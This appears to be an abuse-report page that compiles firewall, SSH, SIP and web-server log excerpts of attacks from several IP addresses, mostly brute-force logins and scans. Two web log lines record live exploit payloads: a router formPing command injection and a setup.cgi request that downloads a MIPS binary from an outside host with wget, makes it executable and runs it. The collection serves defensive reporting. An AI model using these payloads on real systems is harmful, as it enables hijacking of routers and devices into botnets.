Jun 10 08:48:37 debian-2gb-nbg1-2 kernel: \[14030449.323354\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.173 DST=195.201.40.59 LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=10076 PROTO=TCP SPT=15039 DPT=22 WINDOW=65535 RES=0x00 SYN URGP=0

(sshd) Failed SSH login from 37.49.226.173 (NL/Netherlands/-): 2 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Jun  8 00:59:20 ubnt-55d23 sshd[30852]: Did not receive identification string from 37.49.226.173 port 50204
Jun  8 00:59:30 ubnt-55d23 sshd[30853]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

07.06.2020 16:59:11 SSH access blocked by firewall

...

Jun  3 05:37:16 hcbbdb sshd\[28295\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
Jun  3 05:37:18 hcbbdb sshd\[28295\]: Failed password for root from 37.49.226.173 port 57104 ssh2
Jun  3 05:37:46 hcbbdb sshd\[28334\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
Jun  3 05:37:48 hcbbdb sshd\[28334\]: Failed password for root from 37.49.226.173 port 33766 ssh2
Jun  3 05:38:15 hcbbdb sshd\[28393\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

2020-05-27T17:43:27.699958  sshd[29353]: Invalid user oracle from 37.49.226.173 port 49008
2020-05-27T17:43:27.712838  sshd[29353]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173
2020-05-27T17:43:27.699958  sshd[29353]: Invalid user oracle from 37.49.226.173 port 49008
2020-05-27T17:43:30.144963  sshd[29353]: Failed password for invalid user oracle from 37.49.226.173 port 49008 ssh2
...

May 26 08:32:34 sigma sshd\[4707\]: Invalid user oracle from 37.49.226.173May 26 08:32:36 sigma sshd\[4707\]: Failed password for invalid user oracle from 37.49.226.173 port 49692 ssh2
...

May 24 17:16:41 gitlab-ci sshd\[32224\]: Invalid user oracle from 37.49.226.173May 24 17:17:01 gitlab-ci sshd\[32239\]: Invalid user guest from 37.49.226.173
...

2020-05-22T10:08:16.105245abusebot-8.cloudsearch.cf sshd[3523]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:18.572401abusebot-8.cloudsearch.cf sshd[3523]: Failed password for root from 37.49.226.173 port 37509 ssh2
2020-05-22T10:08:34.054278abusebot-8.cloudsearch.cf sshd[3539]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:36.325690abusebot-8.cloudsearch.cf sshd[3539]: Failed password for root from 37.49.226.173 port 58533 ssh2
2020-05-22T10:08:53.690160abusebot-8.cloudsearch.cf sshd[3557]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:55.901656abusebot-8.cloudsearch.cf sshd[3557]: Failed password for root from 37.49.226.173 port 51342 ssh2
2020-05-22T10:09:12.300622abusebot-8.cloudsearch.cf sshd[3576]: pam_unix(sshd:auth): authenticati
...

Invalid user user from 37.49.226.173 port 34737

May 15 00:25:43 ns382633 sshd\[1044\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
May 15 00:25:45 ns382633 sshd\[1044\]: Failed password for root from 37.49.226.173 port 53826 ssh2
May 15 00:26:08 ns382633 sshd\[1099\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
May 15 00:26:11 ns382633 sshd\[1099\]: Failed password for root from 37.49.226.173 port 49036 ssh2
May 15 00:26:33 ns382633 sshd\[1123\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Jul 25 17:36:57 rancher-0 sshd[573004]: Invalid user  from 139.162.122.110 port 43296
Jul 25 17:36:58 rancher-0 sshd[573004]: Failed none for invalid user  from 139.162.122.110 port 43296 ssh2
...

2020-07-25T17:16:07.488198randservbullet-proofcloud-66.localdomain sshd[9292]: Invalid user ubnt from 82.48.88.205 port 58040
2020-07-25T17:16:07.703155randservbullet-proofcloud-66.localdomain sshd[9292]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=host-82-48-88-205.retail.telecomitalia.it
2020-07-25T17:16:07.488198randservbullet-proofcloud-66.localdomain sshd[9292]: Invalid user ubnt from 82.48.88.205 port 58040
2020-07-25T17:16:09.793581randservbullet-proofcloud-66.localdomain sshd[9292]: Failed password for invalid user ubnt from 82.48.88.205 port 58040 ssh2
...

Honeypot attack, port: 81, PTR: 92.118.160.9.netsystemsresearch.com.

Jul 25 12:45:50 ny01 sshd[32292]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.108.170
Jul 25 12:45:52 ny01 sshd[32292]: Failed password for invalid user andreia from 106.12.108.170 port 54926 ssh2
Jul 25 12:51:15 ny01 sshd[509]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.108.170

Invalid user palm from 103.217.255.68 port 44264

 UDP 141.98.10.193:5136 -> port 5060, len 429

Jul 25 17:09:54 buvik sshd[13107]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=188.166.208.131
Jul 25 17:09:55 buvik sshd[13107]: Failed password for invalid user sonarUser from 188.166.208.131 port 57070 ssh2
Jul 25 17:14:31 buvik sshd[13709]: Invalid user webadmin from 188.166.208.131
...

07/25/2020-12:35:53.743700 185.156.73.52 Protocol: 6 ET SCAN NMAP -sS window 1024

Jul 25 20:05:16 jane sshd[12940]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.170.150.253 
Jul 25 20:05:17 jane sshd[12940]: Failed password for invalid user asl from 139.170.150.253 port 6740 ssh2
...

Jul 25 16:59:34 vlre-nyc-1 sshd\[16759\]: Invalid user cyn from 123.31.26.130
Jul 25 16:59:34 vlre-nyc-1 sshd\[16759\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.31.26.130
Jul 25 16:59:36 vlre-nyc-1 sshd\[16759\]: Failed password for invalid user cyn from 123.31.26.130 port 23991 ssh2
Jul 25 17:04:55 vlre-nyc-1 sshd\[16895\]: Invalid user wzc from 123.31.26.130
Jul 25 17:04:55 vlre-nyc-1 sshd\[16895\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.31.26.130
...

Unauthorised connection attempt detected at AUO FR1 NODE2. System is sshd. Protected by AUO Stack Web Application Firewall (WAF)

Jul 25 13:16:10 firewall sshd[26279]: Invalid user oracle from 49.233.134.252
Jul 25 13:16:12 firewall sshd[26279]: Failed password for invalid user oracle from 49.233.134.252 port 57632 ssh2
Jul 25 13:20:13 firewall sshd[26379]: Invalid user stagiaire from 49.233.134.252
...

Exploited Host.

Jul 25 20:14:14 gw1 sshd[16823]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.62.11.53
Jul 25 20:14:16 gw1 sshd[16823]: Failed password for invalid user yrl from 178.62.11.53 port 49336 ssh2
...

Exploited Host.